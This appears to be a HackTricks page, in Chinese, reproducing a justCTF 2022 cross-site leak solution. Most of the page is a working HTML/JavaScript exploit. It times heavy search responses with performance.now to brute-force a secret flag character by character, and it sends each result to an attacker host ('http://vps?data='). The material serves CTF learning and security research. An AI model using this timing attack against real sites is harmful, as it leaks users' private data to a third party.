performance.now + Force heavy task

支持 HackTricks

漏洞来自 https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/

在这个挑战中,用户可以发送数千个字符,如果包含标志,字符将被发送回机器人。因此,攻击者可以通过发送大量字符来测量标志是否包含在发送的字符串中。

最初,我没有设置对象的宽度和高度,但后来我发现这很重要,因为默认大小太小,无法在加载时间上产生差异。

<!DOCTYPE html>
<html>
<head>

</head>
<body>
<img src="https://deelay.me/30000/https://example.com">
<script>
fetch('https://deelay.me/30000/https://example.com')

function send(data) {
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
}

function leak(char, callback) {
return new Promise(resolve => {
let ss = 'just_random_string'
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
let start = performance.now()
let object = document.createElement('object');
object.width = '2000px'
object.height = '2000px'
object.data = url;
object.onload = () => {
object.remove()
let end = performance.now()
resolve(end - start)
}
object.onerror = () => console.log('Error event triggered');
document.body.appendChild(object);
})

}

send('start')

let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
let flag = 'justCTF{'

async function main() {
let found = 0
let notFound = 0
for(let i=0;i<3;i++) {
await leak('..')
}
for(let i=0; i<3; i++) {
found += await leak('justCTF')
}
for(let i=0; i<3; i++) {
notFound += await leak('NOT_FOUND123')
}

found /= 3
notFound /= 3

send('found flag:'+found)
send('not found flag:'+notFound)

let threshold = found - ((found - notFound)/2)
send('threshold:'+threshold)

if (notFound > found) {
return
}

// exploit
while(true) {
if (flag[flag.length - 1] === '}') {
break
}
for(let char of charset) {
let trying = flag + char
let time = 0
for(let i=0; i<3; i++) {
time += await leak(trying)
}
time/=3
send('char:'+trying+',time:'+time)
if (time >= threshold) {
flag += char
send(flag)
break
}
}
}
}

main()

</script>
</body>

</html>
支持 HackTricks

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